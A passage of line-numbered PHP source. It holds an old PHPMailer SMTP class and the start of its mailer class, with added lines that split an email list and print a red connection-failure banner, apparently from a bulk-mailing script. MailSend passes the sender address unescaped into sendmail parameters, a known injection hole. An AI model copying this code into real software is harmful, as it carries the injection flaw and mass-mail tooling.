881 echo "SMTP -> ERROR: " . $this->error["error"] .
882 ": " . $rply . $this->CRLF;
883 }
884 return false;
885 }
886
887 # parse the reply and place in our array to return to user
888 $entries = explode($this->CRLF,$rply);
889 while(list(,$l) = @each($entries)) {
890 $list[] = substr($l,4);
891 }
892
893 return $list;
894 }
895
896 /**
897 * Sends the HELO command to the smtp server.
898 * This makes sure that we and the server are in
899 * the same known state.
900 *
901 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
902 *
903 * SMTP CODE SUCCESS: 250
904 * SMTP CODE ERROR : 500, 501, 504, 421
905 * @access public
906 * @return bool
907 */
908 function Hello($host="") {
909 $this->error = null; # so no confusion is caused
910
911 if(!$this->connected()) {
912 $this->error = array(
913 "error" => "Called Hello() without being connected");
914 return false;
915 }
916
917 # if a hostname for the HELO was not specified determine
918 # a suitable one to send
919 if(empty($host)) {
920 # we need to determine some sort of appopiate default
921 # to send to the server
922 $host = "localhost";
923 }
924
925 // Send extended hello first (RFC 2821)
926 if(!$this->SendHello("EHLO", $host))
927 {
928 if(!$this->SendHello("HELO", $host))
929 return false;
930 }
931
932 return true;
933 }
934
935 /**
936 * Sends a HELO/EHLO command.
937 * @access private
938 * @return bool
939 */
940 function SendHello($hello, $host) {
941 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
942
943 $rply = $this->get_lines();
944 $code = substr($rply,0,3);
945
946 if($this->do_debug >= 2) {
947 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
948 }
949
950 if($code != 250) {
951 $this->error =
952 array("error" => $hello . " not accepted from server",
953 "smtp_code" => $code,
954 "smtp_msg" => substr($rply,4));
955 if($this->do_debug >= 1) {
956 echo "SMTP -> ERROR: " . $this->error["error"] .
957 ": " . $rply . $this->CRLF;
958 }
959 return false;
960 }
961
962 $this->helo_rply = $rply;
963
964 return true;
965 }
966
967 /**
968 * Gets help information on the keyword specified. If the keyword
969 * is not specified then returns generic help, ussually contianing
970 * A list of keywords that help is available on. This function
971 * returns the results back to the user. It is up to the user to
972 * handle the returned data. If an error occurs then false is
973 * returned with $this->error set appropiately.
974 *
975 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
976 *
977 * SMTP CODE SUCCESS: 211,214
978 * SMTP CODE ERROR : 500,501,502,504,421
979 * @access public
980 * @return string
981 */
982 function Help($keyword="") {
983 $this->error = null; # to avoid confusion
984
985 if(!$this->connected()) {
986 $this->error = array(
987 "error" => "Called Help() without being connected");
988 return false;
989 }
990
991 $extra = "";
992 if(!empty($keyword)) {
993 $extra = " " . $keyword;
994 }
995
996 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
997
998 $rply = $this->get_lines();
999 $code = substr($rply,0,3);
1000
1001 if($this->do_debug >= 2) {
1002 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1003 }
1004
1005 if($code != 211 && $code != 214) {
1006 $this->error =
1007 array("error" => "HELP not accepted from server",
1008 "smtp_code" => $code,
1009 "smtp_msg" => substr($rply,4));
1010 if($this->do_debug >= 1) {
1011 echo "SMTP -> ERROR: " . $this->error["error"] .
1012 ": " . $rply . $this->CRLF;
1013 }
1014 return false;
1015 }
1016
1017 return $rply;
1018 }
1019
1020 /**
1021 * Starts a mail transaction from the email address specified in
1022 * $from. Returns true if successful or false otherwise. If True
1023 * the mail transaction is started and then one or more Recipient
1024 * commands may be called followed by a Data command.
1025 *
1026 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1027 *
1028 * SMTP CODE SUCCESS: 250
1029 * SMTP CODE SUCCESS: 552,451,452
1030 * SMTP CODE SUCCESS: 500,501,421
1031 * @access public
1032 * @return bool
1033 */
1034 function Mail($from) {
1035 $this->error = null; # so no confusion is caused
1036
1037 if(!$this->connected()) {
1038 $this->error = array(
1039 "error" => "Called Mail() without being connected");
1040 return false;
1041 }
1042
1043 $useVerp = ($this->do_verp ? "XVERP" : "");
1044 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1045
1046 $rply = $this->get_lines();
1047 $code = substr($rply,0,3);
1048
1049 if($this->do_debug >= 2) {
1050 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1051 }
1052
1053 if($code != 250) {
1054 $this->error =
1055 array("error" => "MAIL not accepted from server",
1056 "smtp_code" => $code,
1057 "smtp_msg" => substr($rply,4));
1058 if($this->do_debug >= 1) {
1059 echo "SMTP -> ERROR: " . $this->error["error"] .
1060 ": " . $rply . $this->CRLF;
1061 }
1062 return false;
1063 }
1064 return true;
1065 }
1066
1067 /**
1068 * Sends the command NOOP to the SMTP server.
1069 *
1070 * Implements from rfc 821: NOOP <CRLF>
1071 *
1072 * SMTP CODE SUCCESS: 250
1073 * SMTP CODE ERROR : 500, 421
1074 * @access public
1075 * @return bool
1076 */
1077 function Noop() {
1078 $this->error = null; # so no confusion is caused
1079
1080 if(!$this->connected()) {
1081 $this->error = array(
1082 "error" => "Called Noop() without being connected");
1083 return false;
1084 }
1085
1086 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1087
1088 $rply = $this->get_lines();
1089 $code = substr($rply,0,3);
1090
1091 if($this->do_debug >= 2) {
1092 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1093 }
1094
1095 if($code != 250) {
1096 $this->error =
1097 array("error" => "NOOP not accepted from server",
1098 "smtp_code" => $code,
1099 "smtp_msg" => substr($rply,4));
1100 if($this->do_debug >= 1) {
1101 echo "SMTP -> ERROR: " . $this->error["error"] .
1102 ": " . $rply . $this->CRLF;
1103 }
1104 return false;
1105 }
1106 return true;
1107 }
1108
1109 /**
1110 * Sends the quit command to the server and then closes the socket
1111 * if there is no error or the $close_on_error argument is true.
1112 *
1113 * Implements from rfc 821: QUIT <CRLF>
1114 *
1115 * SMTP CODE SUCCESS: 221
1116 * SMTP CODE ERROR : 500
1117 * @access public
1118 * @return bool
1119 */
1120 function Quit($close_on_error=true) {
1121 $this->error = null; # so there is no confusion
1122
1123 if(!$this->connected()) {
1124 $this->error = array(
1125 "error" => "Called Quit() without being connected");
1126 return false;
1127 }
1128
1129 # send the quit command to the server
1130 fputs($this->smtp_conn,"quit" . $this->CRLF);
1131
1132 # get any good-bye messages
1133 $byemsg = $this->get_lines();
1134
1135 if($this->do_debug >= 2) {
1136 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1137 }
1138
1139 $rval = true;
1140 $e = null;
1141
1142 $code = substr($byemsg,0,3);
1143 if($code != 221) {
1144 # use e as a tmp var cause Close will overwrite $this->error
1145 $e = array("error" => "SMTP server rejected quit command",
1146 "smtp_code" => $code,
1147 "smtp_rply" => substr($byemsg,4));
1148 $rval = false;
1149 if($this->do_debug >= 1) {
1150 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1151 $byemsg . $this->CRLF;
1152 }
1153 }
1154
1155 if(empty($e) || $close_on_error) {
1156 $this->Close();
1157 }
1158
1159 return $rval;
1160 }
1161
1162 /**
1163 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1164 * Returns true if the recipient was accepted false if it was rejected.
1165 *
1166 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1167 *
1168 * SMTP CODE SUCCESS: 250,251
1169 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1170 * SMTP CODE ERROR : 500,501,503,421
1171 * @access public
1172 * @return bool
1173 */
1174 function Recipient($to) {
1175 $this->error = null; # so no confusion is caused
1176
1177 if(!$this->connected()) {
1178 $this->error = array(
1179 "error" => "Called Recipient() without being connected");
1180 return false;
1181 }
1182
1183 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1184
1185 $rply = $this->get_lines();
1186 $code = substr($rply,0,3);
1187
1188 if($this->do_debug >= 2) {
1189 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1190 }
1191
1192 if($code != 250 && $code != 251) {
1193 $this->error =
1194 array("error" => "RCPT not accepted from server",
1195 "smtp_code" => $code,
1196 "smtp_msg" => substr($rply,4));
1197 if($this->do_debug >= 1) {
1198 echo "SMTP -> ERROR: " . $this->error["error"] .
1199 ": " . $rply . $this->CRLF;
1200 }
1201 return false;
1202 }
1203 return true;
1204 }
1205
1206 /**
1207 * Sends the RSET command to abort and transaction that is
1208 * currently in progress. Returns true if successful false
1209 * otherwise.
1210 *
1211 * Implements rfc 821: RSET <CRLF>
1212 *
1213 * SMTP CODE SUCCESS: 250
1214 * SMTP CODE ERROR : 500,501,504,421
1215 * @access public
1216 * @return bool
1217 */
1218 function Reset() {
1219 $this->error = null; # so no confusion is caused
1220
1221 if(!$this->connected()) {
1222 $this->error = array(
1223 "error" => "Called Reset() without being connected");
1224 return false;
1225 }
1226
1227 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1228
1229 $rply = $this->get_lines();
1230 $code = substr($rply,0,3);
1231
1232 if($this->do_debug >= 2) {
1233 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1234 }
1235
1236 if($code != 250) {
1237 $this->error =
1238 array("error" => "RSET failed",
1239 "smtp_code" => $code,
1240 "smtp_msg" => substr($rply,4));
1241 if($this->do_debug >= 1) {
1242 echo "SMTP -> ERROR: " . $this->error["error"] .
1243 ": " . $rply . $this->CRLF;
1244 }
1245 return false;
1246 }
1247
1248 return true;
1249 }
1250
1251 /**
1252 * Starts a mail transaction from the email address specified in
1253 * $from. Returns true if successful or false otherwise. If True
1254 * the mail transaction is started and then one or more Recipient
1255 * commands may be called followed by a Data command. This command
1256 * will send the message to the users terminal if they are logged
1257 * in.
1258 *
1259 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1260 *
1261 * SMTP CODE SUCCESS: 250
1262 * SMTP CODE SUCCESS: 552,451,452
1263 * SMTP CODE SUCCESS: 500,501,502,421
1264 * @access public
1265 * @return bool
1266 */
1267 function Send($from) {
1268 $this->error = null; # so no confusion is caused
1269
1270 if(!$this->connected()) {
1271 $this->error = array(
1272 "error" => "Called Send() without being connected");
1273 return false;
1274 }
1275
1276 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1277
1278 $rply = $this->get_lines();
1279 $code = substr($rply,0,3);
1280
1281 if($this->do_debug >= 2) {
1282 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1283 }
1284
1285 if($code != 250) {
1286 $this->error =
1287 array("error" => "SEND not accepted from server",
1288 "smtp_code" => $code,
1289 "smtp_msg" => substr($rply,4));
1290 if($this->do_debug >= 1) {
1291 echo "SMTP -> ERROR: " . $this->error["error"] .
1292 ": " . $rply . $this->CRLF;
1293 }
1294 return false;
1295 }
1296 return true;
1297 }
1298
1299 /**
1300 * Starts a mail transaction from the email address specified in
1301 * $from. Returns true if successful or false otherwise. If True
1302 * the mail transaction is started and then one or more Recipient
1303 * commands may be called followed by a Data command. This command
1304 * will send the message to the users terminal if they are logged
1305 * in and send them an email.
1306 *
1307 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1308 *
1309 * SMTP CODE SUCCESS: 250
1310 * SMTP CODE SUCCESS: 552,451,452
1311 * SMTP CODE SUCCESS: 500,501,502,421
1312 * @access public
1313 * @return bool
1314 */
1315 function SendAndMail($from) {
1316 $this->error = null; # so no confusion is caused
1317
1318 if(!$this->connected()) {
1319 $this->error = array(
1320 "error" => "Called SendAndMail() without being connected");
1321 return false;
1322 }
1323
1324 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1325
1326 $rply = $this->get_lines();
1327 $code = substr($rply,0,3);
1328
1329 if($this->do_debug >= 2) {
1330 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1331 }
1332
1333 if($code != 250) {
1334 $this->error =
1335 array("error" => "SAML not accepted from server",
1336 "smtp_code" => $code,
1337 "smtp_msg" => substr($rply,4));
1338 if($this->do_debug >= 1) {
1339 echo "SMTP -> ERROR: " . $this->error["error"] .
1340 ": " . $rply . $this->CRLF;
1341 }
1342 return false;
1343 }
1344 return true;
1345 }
1346
1347 /**
1348 * Starts a mail transaction from the email address specified in
1349 * $from. Returns true if successful or false otherwise. If True
1350 * the mail transaction is started and then one or more Recipient
1351 * commands may be called followed by a Data command. This command
1352 * will send the message to the users terminal if they are logged
1353 * in or mail it to them if they are not.
1354 *
1355 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1356 *
1357 * SMTP CODE SUCCESS: 250
1358 * SMTP CODE SUCCESS: 552,451,452
1359 * SMTP CODE SUCCESS: 500,501,502,421
1360 * @access public
1361 * @return bool
1362 */
1363 function SendOrMail($from) {
1364 $this->error = null; # so no confusion is caused
1365
1366 if(!$this->connected()) {
1367 $this->error = array(
1368 "error" => "Called SendOrMail() without being connected");
1369 return false;
1370 }
1371
1372 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1373
1374 $rply = $this->get_lines();
1375 $code = substr($rply,0,3);
1376
1377 if($this->do_debug >= 2) {
1378 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1379 }
1380
1381 if($code != 250) {
1382 $this->error =
1383 array("error" => "SOML not accepted from server",
1384 "smtp_code" => $code,
1385 "smtp_msg" => substr($rply,4));
1386 if($this->do_debug >= 1) {
1387 echo "SMTP -> ERROR: " . $this->error["error"] .
1388 ": " . $rply . $this->CRLF;
1389 }
1390 return false;
1391 }
1392 return true;
1393 }
1394
1395 /**
1396 * This is an optional command for SMTP that this class does not
1397 * support. This method is here to make the RFC821 Definition
1398 * complete for this class and __may__ be implimented in the future
1399 *
1400 * Implements from rfc 821: TURN <CRLF>
1401 *
1402 * SMTP CODE SUCCESS: 250
1403 * SMTP CODE FAILURE: 502
1404 * SMTP CODE ERROR : 500, 503
1405 * @access public
1406 * @return bool
1407 */
1408 function Turn() {
1409 $this->error = array("error" => "This method, TURN, of the SMTP ".
1410 "is not implemented");
1411 if($this->do_debug >= 1) {
1412 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1413 }
1414 return false;
1415 }
1416
1417 /**
1418 * Verifies that the name is recognized by the server.
1419 * Returns false if the name could not be verified otherwise
1420 * the response from the server is returned.
1421 *
1422 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1423 *
1424 * SMTP CODE SUCCESS: 250,251
1425 * SMTP CODE FAILURE: 550,551,553
1426 * SMTP CODE ERROR : 500,501,502,421
1427 * @access public
1428 * @return int
1429 */
1430 function Verify($name) {
1431 $this->error = null; # so no confusion is caused
1432
1433 if(!$this->connected()) {
1434 $this->error = array(
1435 "error" => "Called Verify() without being connected");
1436 return false;
1437 }
1438
1439 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1440
1441 $rply = $this->get_lines();
1442 $code = substr($rply,0,3);
1443
1444 if($this->do_debug >= 2) {
1445 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1446 }
1447
1448 if($code != 250 && $code != 251) {
1449 $this->error =
1450 array("error" => "VRFY failed on name '$name'",
1451 "smtp_code" => $code,
1452 "smtp_msg" => substr($rply,4));
1453 if($this->do_debug >= 1) {
1454 echo "SMTP -> ERROR: " . $this->error["error"] .
1455 ": " . $rply . $this->CRLF;
1456 }
1457 return false;
1458 }
1459 return $rply;
1460 }
1461
1462 /*******************************************************************
1463 * INTERNAL FUNCTIONS *
1464 ******************************************************************/
1465
1466 /**
1467 * Read in as many lines as possible
1468 * either before eof or socket timeout occurs on the operation.
1469 * With SMTP we can tell if we have more lines to read if the
1470 * 4th character is '-' symbol. If it is a space then we don't
1471 * need to read anything else.
1472 * @access private
1473 * @return string
1474 */
1475 function get_lines() {
1476 $data = "";
1477 while($str = @fgets($this->smtp_conn,515)) {
1478 if($this->do_debug >= 4) {
1479 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1480 $this->CRLF;
1481 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1482 $this->CRLF;
1483 }
1484 $data .= $str;
1485 if($this->do_debug >= 4) {
1486 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1487 }
1488 # if the 4th character is a space then we are done reading
1489 # so just break the loop
1490 if(substr($str,3,1) == " ") { break; }
1491 }
1492 return $data;
1493 }
1494
1495}
1496
1497
1498$allemails = split("\n", $emaillist);
1499$numemails = count($allemails);
1500class PHPMailer {
1501
1502 /////////////////////////////////////////////////
1503 // PROPERTIES, PUBLIC
1504 /////////////////////////////////////////////////
1505
1506 /**
1507 * Email priority (1 = High, 3 = Normal, 5 = low).
1508 * @var int
1509 */
1510 var $Priority = 3;
1511
1512 /**
1513 * Sets the CharSet of the message.
1514 * @var string
1515 */
1516 var $CharSet = 'us-ascii';
1517
1518 /**
1519 * Sets the Content-type of the message.
1520 * @var string
1521 */
1522 var $ContentType = 'text/plain';
1523
1524 /**
1525 * Sets the Encoding of the message. Options for this are "8bit",
1526 * "7bit", "binary", "base64", and "quoted-printable".
1527
1528 * @var string
1529 */
1530 var $Encoding = 'quoted-printable';
1531
1532 /**
1533 * Holds the most recent mailer error message.
1534 * @var string
1535 */
1536 var $ErrorInfo = '';
1537
1538 /**
1539 * Sets the From email address for the message.
1540 * @var string
1541 */
1542 var $From = '';
1543
1544 /**
1545 * Sets the From name of the message.
1546 * @var string
1547 */
1548 var $FromName = '';
1549
1550 /**
1551 * Sets the Sender email (Return-Path) of the message. If not empty,
1552 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1553 * @var string
1554 */
1555 var $Sender = '';
1556
1557 /**
1558 * Sets the Subject of the message.
1559 * @var string
1560 */
1561 var $Subject = '';
1562
1563 /**
1564 * Sets the Body of the message. This can be either an HTML or text body.
1565 * If HTML then run IsHTML(true).
1566 * @var string
1567 */
1568 var $Body = '';
1569
1570 /**
1571 * Sets the text-only body of the message. This automatically sets the
1572 * email to multipart/alternative. This body can be read by mail
1573 * clients that do not have HTML email capability such as mutt. Clients
1574 * that can read HTML will view the normal Body.
1575 * @var string
1576 */
1577 var $AltBody = '';
1578
1579 /**
1580 * Sets word wrapping on the body of the message to a given number of
1581 * characters.
1582 * @var int
1583 */
1584 var $WordWrap = 0;
1585
1586 /**
1587 * Method to send mail: ("mail", "sendmail", or "smtp").
1588 * @var string
1589 */
1590 var $Mailer = 'mail';
1591
1592 /**
1593 * Sets the path of the sendmail program.
1594 * @var string
1595 */
1596 var $Sendmail = '/usr/sbin/sendmail';
1597
1598 /**
1599 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1600 * is in a different directory than the PHP include path.
1601 * @var string
1602 */
1603 var $PluginDir = '';
1604
1605 /**
1606 * Holds PHPMailer version.
1607 * @var string
1608 */
1609 var $Version = "";
1610
1611 /**
1612 * Sets the email address that a reading confirmation will be sent.
1613 * @var string
1614 */
1615 var $ConfirmReadingTo = '';
1616
1617 /**
1618 * Sets the hostname to use in Message-Id and Received headers
1619 * and as default HELO string. If empty, the value returned
1620 * by SERVER_NAME is used or 'localhost.localdomain'.
1621 * @var string
1622 */
1623 var $Hostname = '';
1624
1625 /**
1626 * Sets the message ID to be used in the Message-Id header.
1627 * If empty, a unique id will be generated.
1628 * @var string
1629 */
1630 var $MessageID = '';
1631
1632 /////////////////////////////////////////////////
1633 // PROPERTIES FOR SMTP
1634 /////////////////////////////////////////////////
1635
1636 /**
1637 * Sets the SMTP hosts. All hosts must be separated by a
1638 * semicolon. You can also specify a different port
1639 * for each host by using this format: [hostname:port]
1640 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1641 * Hosts will be tried in order.
1642 * @var string
1643 */
1644 var $Host = 'localhost';
1645
1646 /**
1647 * Sets the default SMTP server port.
1648 * @var int
1649 */
1650 var $Port = 25;
1651
1652 /**
1653 * Sets the SMTP HELO of the message (Default is $Hostname).
1654 * @var string
1655 */
1656 var $Helo = '';
1657
1658 /**
1659 * Sets connection prefix.
1660 * Options are "", "ssl" or "tls"
1661 * @var string
1662 */
1663 var $SMTPSecure = "";
1664
1665 /**
1666 * Sets SMTP authentication. Utilizes the Username and Password variables.
1667 * @var bool
1668 */
1669 var $SMTPAuth = false;
1670
1671 /**
1672 * Sets SMTP username.
1673 * @var string
1674 */
1675 var $Username = '';
1676
1677 /**
1678 * Sets SMTP password.
1679 * @var string
1680 */
1681 var $Password = '';
1682
1683 /**
1684 * Sets the SMTP server timeout in seconds. This function will not
1685 * work with the win32 version.
1686 * @var int
1687 */
1688 var $Timeout = 10;
1689
1690 /**
1691 * Sets SMTP class debugging on or off.
1692 * @var bool
1693 */
1694 var $SMTPDebug = false;
1695
1696 /**
1697 * Prevents the SMTP connection from being closed after each mail
1698 * sending. If this is set to true then to close the connection
1699 * requires an explicit call to SmtpClose().
1700 * @var bool
1701 */
1702 var $SMTPKeepAlive = false;
1703
1704 /**
1705 * Provides the ability to have the TO field process individual
1706 * emails, instead of sending to entire TO addresses
1707 * @var bool
1708 */
1709 var $SingleTo = false;
1710
1711 /////////////////////////////////////////////////
1712 // PROPERTIES, PRIVATE
1713 /////////////////////////////////////////////////
1714
1715 var $smtp = NULL;
1716 var $to = array();
1717 var $cc = array();
1718 var $bcc = array();
1719 var $ReplyTo = array();
1720 var $attachment = array();
1721 var $CustomHeader = array();
1722 var $message_type = '';
1723 var $boundary = array();
1724 var $language = array();
1725 var $error_count = 0;
1726 var $LE = "\n";
1727 var $sign_key_file = "";
1728 var $sign_key_pass = "";
1729
1730 /////////////////////////////////////////////////
1731 // METHODS, VARIABLES
1732 /////////////////////////////////////////////////
1733
1734 /**
1735 * Sets message type to HTML.
1736 * @param bool $bool
1737 * @return void
1738 */
1739 function IsHTML($bool) {
1740 if($bool == true) {
1741 $this->ContentType = 'text/html';
1742 } else {
1743 $this->ContentType = 'text/plain';
1744 }
1745 }
1746
1747 /**
1748 * Sets Mailer to send message using SMTP.
1749 * @return void
1750 */
1751 function IsSMTP() {
1752 $this->Mailer = 'smtp';
1753 }
1754
1755 /**
1756 * Sets Mailer to send message using PHP mail() function.
1757 * @return void
1758 */
1759 function IsMail() {
1760 $this->Mailer = 'mail';
1761 }
1762
1763 /**
1764 * Sets Mailer to send message using the $Sendmail program.
1765 * @return void
1766 */
1767 function IsSendmail() {
1768 $this->Mailer = 'sendmail';
1769 }
1770
1771 /**
1772 * Sets Mailer to send message using the qmail MTA.
1773 * @return void
1774 */
1775 function IsQmail() {
1776 $this->Sendmail = '/var/qmail/bin/sendmail';
1777 $this->Mailer = 'sendmail';
1778 }
1779
1780 /////////////////////////////////////////////////
1781 // METHODS, RECIPIENTS
1782 /////////////////////////////////////////////////
1783
1784 /**
1785 * Adds a "To" address.
1786 * @param string $address
1787 * @param string $name
1788 * @return void
1789 */
1790 function AddAddress($address, $name = '') {
1791 $cur = count($this->to);
1792 $this->to[$cur][0] = trim($address);
1793 $this->to[$cur][1] = $name;
1794 }
1795
1796 /**
1797 * Adds a "Cc" address. Note: this function works
1798 * with the SMTP mailer on win32, not with the "mail"
1799 * mailer.
1800 * @param string $address
1801 * @param string $name
1802 * @return void
1803 */
1804 function AddCC($address, $name = '') {
1805 $cur = count($this->cc);
1806 $this->cc[$cur][0] = trim($address);
1807 $this->cc[$cur][1] = $name;
1808 }
1809
1810 /**
1811 * Adds a "Bcc" address. Note: this function works
1812 * with the SMTP mailer on win32, not with the "mail"
1813 * mailer.
1814 * @param string $address
1815 * @param string $name
1816 * @return void
1817 */
1818 function AddBCC($address, $name = '') {
1819 $cur = count($this->bcc);
1820 $this->bcc[$cur][0] = trim($address);
1821 $this->bcc[$cur][1] = $name;
1822 }
1823
1824 /**
1825 * Adds a "Reply-To" address.
1826 * @param string $address
1827 * @param string $name
1828 * @return void
1829 */
1830 function AddReplyTo($address, $name = '') {
1831 $cur = count($this->ReplyTo);
1832 $this->ReplyTo[$cur][0] = trim($address);
1833 $this->ReplyTo[$cur][1] = $name;
1834 }
1835
1836 /////////////////////////////////////////////////
1837 // METHODS, MAIL SENDING
1838 /////////////////////////////////////////////////
1839
1840 /**
1841 * Creates message and assigns Mailer. If the message is
1842 * not sent successfully then it returns false. Use the ErrorInfo
1843 * variable to view description of the error.
1844 * @return bool
1845 */
1846 function Send() {
1847 $header = '';
1848 $body = '';
1849 $result = true;
1850
1851 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1852 $this->SetError($this->Lang('provide_address'));
1853 return false;
1854 }
1855
1856 /* Set whether the message is multipart/alternative */
1857 if(!empty($this->AltBody)) {
1858 $this->ContentType = 'multipart/alternative';
1859 }
1860
1861 $this->error_count = 0; // reset errors
1862 $this->SetMessageType();
1863 $header .= $this->CreateHeader();
1864 $body = $this->CreateBody();
1865
1866 if($body == '') {
1867 return false;
1868 }
1869
1870 /* Choose the mailer */
1871 switch($this->Mailer) {
1872 case 'sendmail':
1873 $result = $this->SendmailSend($header, $body);
1874 break;
1875 case 'smtp':
1876 $result = $this->SmtpSend($header, $body);
1877 break;
1878 case 'mail':
1879 $result = $this->MailSend($header, $body);
1880 break;
1881 default:
1882 $result = $this->MailSend($header, $body);
1883 break;
1884 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1885 //$result = false;
1886 //break;
1887 }
1888
1889 return $result;
1890 }
1891
1892 /**
1893 * Sends mail using the $Sendmail program.
1894 * @access private
1895 * @return bool
1896 */
1897 function SendmailSend($header, $body) {
1898 if ($this->Sender != '') {
1899 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1900 } else {
1901 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1902 }
1903
1904 if(!@$mail = popen($sendmail, 'w')) {
1905 $this->SetError($this->Lang('execute') . $this->Sendmail);
1906 return false;
1907 }
1908
1909 fputs($mail, $header);
1910 fputs($mail, $body);
1911
1912 $result = pclose($mail);
1913 if (version_compare(phpversion(), '4.2.3') == -1) {
1914 $result = $result >> 8 & 0xFF;
1915 }
1916 if($result != 0) {
1917 $this->SetError($this->Lang('execute') . $this->Sendmail);
1918 return false;
1919 }
1920 return true;
1921 }
1922
1923 /**
1924 * Sends mail using the PHP mail() function.
1925 * @access private
1926 * @return bool
1927 */
1928 function MailSend($header, $body) {
1929
1930 $to = '';
1931 for($i = 0; $i < count($this->to); $i++) {
1932 if($i != 0) { $to .= ', '; }
1933 $to .= $this->AddrFormat($this->to[$i]);
1934 }
1935
1936 $toArr = split(',', $to);
1937
1938 $params = sprintf("-oi -f %s", $this->Sender);
1939 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1940 $old_from = ini_get('sendmail_from');
1941 ini_set('sendmail_from', $this->Sender);
1942 if ($this->SingleTo === true && count($toArr) > 1) {
1943 foreach ($toArr as $key => $val) {
1944 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1945 }
1946 } else {
1947 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1948 }
1949 } else {
1950 if ($this->SingleTo === true && count($toArr) > 1) {
1951 foreach ($toArr as $key => $val) {
1952 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1953 }
1954 } else {
1955 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1956 }
1957 }
1958
1959 if (isset($old_from)) {
1960 ini_set('sendmail_from', $old_from);
1961 }
1962
1963 if(!$rt) {
1964 $this->SetError($this->Lang('instantiate'));
1965 return false;
1966 }
1967
1968 return true;
1969 }
1970
1971 /**
1972 * Sends mail via SMTP using PhpSMTP (Author:
1973 * Chris Ryan). Returns bool. Returns false if there is a
1974 * bad MAIL FROM, RCPT, or DATA input.
1975 * @access private
1976 * @return bool
1977 */
1978 function SmtpSend($header, $body) {
1979 $error = '';
1980 $bad_rcpt = array();
1981
1982 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1983 return false;
1984 }
1985
1986 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1987 if(!$this->smtp->Mail($smtp_from)) {
1988 $error = $this->Lang('from_failed') . $smtp_from;
1989 $this->SetError($error);
1990 $this->smtp->Reset();
1991 return false;
1992 }
1993
1994 /* Attempt to send attach all recipients */
1995 for($i = 0; $i < count($this->to); $i++) {
1996 if(!$this->smtp->Recipient($this->to[$i][0])) {
1997 $bad_rcpt[] = $this->to[$i][0];
1998 }
1999 }
2000 for($i = 0; $i < count($this->cc); $i++) {
2001 if(!$this->smtp->Recipient($this->cc[$i][0])) {
2002 $bad_rcpt[] = $this->cc[$i][0];
2003 }
2004 }
2005 for($i = 0; $i < count($this->bcc); $i++) {
2006 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
2007 $bad_rcpt[] = $this->bcc[$i][0];
2008 }
2009 }
2010
2011 if(count($bad_rcpt) > 0) { // Create error message
2012 for($i = 0; $i < count($bad_rcpt); $i++) {
2013 if($i != 0) {
2014 $error .= ', ';
2015 }
2016 $error .= $bad_rcpt[$i];
2017
2018 }
2019 $error = $this->Lang('recipients_failed') . $error;
2020 $this->SetError($error);
2021 $this->smtp->Reset();
2022 return false;
2023 }
2024
2025 if(!$this->smtp->Data($header . $body)) {
2026 $this->SetError($this->Lang('data_not_accepted'));
2027 $this->smtp->Reset();
2028 return false;
2029 }
2030 if($this->SMTPKeepAlive == true) {
2031 $this->smtp->Reset();
2032 } else {
2033 $this->SmtpClose();
2034 }
2035
2036 return true;
2037 }
2038
2039 /**
2040 * Initiates a connection to an SMTP server. Returns false if the
2041 * operation failed.
2042 * @access private
2043 * @return bool
2044 */
2045 function SmtpConnect() {
2046 if($this->smtp == NULL) {
2047 $this->smtp = new SMTP();
2048 }
2049
